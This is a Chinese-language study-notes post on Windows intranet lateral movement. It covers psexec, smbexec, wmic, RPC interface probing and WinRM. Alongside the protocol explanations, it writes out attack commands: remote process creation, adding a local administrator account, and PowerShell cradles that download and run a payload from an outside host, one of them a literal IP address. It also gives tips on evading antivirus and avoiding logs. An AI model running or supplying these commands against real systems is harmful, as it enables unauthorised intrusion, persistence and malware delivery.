这段时间一直在学习内网,现在也快结束了,所以刚好也可以整理一下知识,发一发csdn。
psexec
注意是pstools中的psexec,不是impacket的psexec
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
使用psexec工具的时候,默认是使用ntlm认证
建立认证之后,建立ipc连接,然后建立默认admin$共享文件夹(admin$共享文件夹默认路径是c:\windows)
然后会上传一个psexecsvc.exe文件到这个admin$共享文件夹下,也就是c:\windows下
然后就是调用svcctl并创建PSEXESVC服务,该服务是运行PSEXESVC.EXE程序
调用服务创建命名管道
命名管道基于smb协议通信,它是用来让两个进程间进行通信的命名管道有点类似于socket连接,是用来传输数据的
小提示:Psexec会留下大量的日志,因为涉及到创建服务和认证。并且杀软很有可能会拦截,不让进行ipc连接。
smbexec
SMBEXEC工作原理是这样的
1、建立IPC$连接
2、通过服务执行命令
2、将命令放在%temp%/execute.bat中
3、运行execute.bat文件,将结果存储在C:/__output文件中
4、删除execute.bat
5、通过客户端读取目标机器的C:/__output文件中内容
smb先建立ipc连接
然后svcctl启动服务BTOBTO,服务执行下面这个命令
Binary Path Name: %COMSPEC% /Q /c echo whoami ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
提示:使用这个工具的时候执行命令就好,不要用来执行软件
原因:
上面执行的代码
%COMSPEC% /Q /c echo whoami ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
comspec是调用cmd,/Q是不回显 /c是执行完命令后结束
echo whoami ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat
这个代码的意思是输入whoami > \\127.0.0.1\C$\__output 2>&1 写入到tmep目录下的execute.bat(2>&1是错误输出那些)
%COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
这个代码的意思是执行execute.bat(在cmd中执行whoami,然后将结果输出到c盘下的__output文件),然后删除这个bat
最后是工具去读取这个__output
理解了这个原因之后就很简单了,使用这个工具去执行软件(例calc)的时候,软件虽然执行了,但是没有回显,工具处于等待状态,没有东西输出到__output文件中,进程卡在这里
就算这时候ctrl+c断开连接,重连也没有用,必须先把那个软件(calc)给关闭了才能继续。
提示:smbexec在日志中也有大量的命令执行的结果
wmic
WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议, 在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。
wmic是一个类似于cmd的命令集,且不会被记录在日志中,且不会被杀,不会报毒
当然你上线的ps脚本这些该报还是会报,所以还是要免杀
1、执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"
2、列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
3、在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\test.bat
4、添加用户
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add"
5、执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://www.asdf.com/ps脚本地址'))\""
这个wmic使用的是RPC协议
RPC
DCERPC是一个非常基础的Windows系统的通信协议。 DCERPC比RDP协议更普遍,默认开启,内容丰富,接口众多,早期的安全人员在其基础上写了很多蠕虫病毒,DCERPC的默认端口是135,上面承载了包含WMI,认证包括ntlm挑战响应,甚至还能获取网卡IP地址列表
OXIDResolve接口
第一个要分析的是RPC协议的OXIDResolve接口
他这有4个数据包
第一个数据包表明了利用RPC协议即将调用的接口,是OXIDResolve
第2个数据包,是目标机器返回的数据包,里面包含了确认信息,没有关键的东西
第三个数据包,利用dcom发起OXID接口的请求数据包
第4个数据包,OXID接口返回的数据,非常重要,里面包含了,工作组名字,域名,IP地址(所有网卡的IP地址)IPV6地址等
这几个数据包下来,我们发现,这个接口的访问是未授权的(并没有进行认证,只用使用RPD调用OXID就可以)
我们直接就可以通过这个接口得到目标机器的相关信息(机器名 IP 多网卡等)
很多工具也都有这个功能,例如cs的拉冬插件
isystemactivator接口
这个也是4个数据包
第一个数据包是发送给目标机器的,包含了认证方式NTLM,还有即将请求的接口类型、UUID
第2个数据包:因为该接口是远程调用接口,需要进行认证,这里使用NTLM挑战相应认证,所以数据包是challenge值,并且包含了自己的主机的相关信息,包含了域名,电脑名,DNS域名,还有DNS电脑名
第3个数据包:第三个数据包是response值,用于认证
(上面那个不需要认证,只用了两个数据包调接口,这个要认证就用了三个数据包调接口)
第4个数据包:认证成功之后接着远程调用isystemactivator接口的remotecreateinstance函数作用是为实际对象创建对象引用
在这些数据包中,并没有明文显示cmd,ipconfig这些操作。里面的重要信息,就是第2个数据包的challenge值,但没有之前那个Oxid探测的信息重要
winrm
Windows远程管理,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。Server2008 R2中默认开启该服务,Server2012开始,该服务便集成在系统中默认开启,家庭版的电脑是默认关闭的这种远程连接不会被客户端察觉到,也不会占用远程连接数
开启:
开启WinRM服务 powershell 运行 enable-psremoting或者cmd运行winrm quickconfig
查询:
如果已经开启了服务提示如下询问,当然也可以查询端口看看是否开启
powershell运行netstat -ano 或者运行enable-psremoting(重启命令)
关闭:
任务管理器找到wimrm结束即可
运行winrm
在powershell中输入以下命令
winrs -r:http://192.168.41.10:5985 -u:administrator -p:admin@123 "ipconfig"
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}
这个winrm通信走的NTLM挑战相应协议,简单粗暴
直接上数据包吧
先看一下挑战值数据包,该数据在HTTP协议中的 authenticate中经过了加密,其中包含了挑战值还有访问机器的相关OS信息
response包,也是通过HTTP协议中的authorization字段进行传输和认证
认证通过后通过POST传输数据, 在data中就是具体传输的数据,不过进行加密了
Winrm通信特征还是很明显的
1. 默认情况下,WinRM 使用 TCP 端口号 5985(HTTP)和 5986(HTTPS)进行通信。
2. WinRM 支持不同类型的身份验证和安全协议,如基本身份验证、NTLM 和 Kerberos
3. 请求的地址的wsman
这种横向移动的方式杀软不会触发,只需要将命令换成上线命令就行了,这里只需要对powershell做免杀就行了
winrs -r:http://192.168.41.147:5985 -u:administrator -p:Admin@123 "powershell.exe - nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"
如果执行的过程中出现
Winrs error:WinRM 客户端无法处理该请求。 可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。 使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。
只需要输入winrm set winrm/config/Client @{TrustedHosts="*"}
用这个命令添加主机信息就好了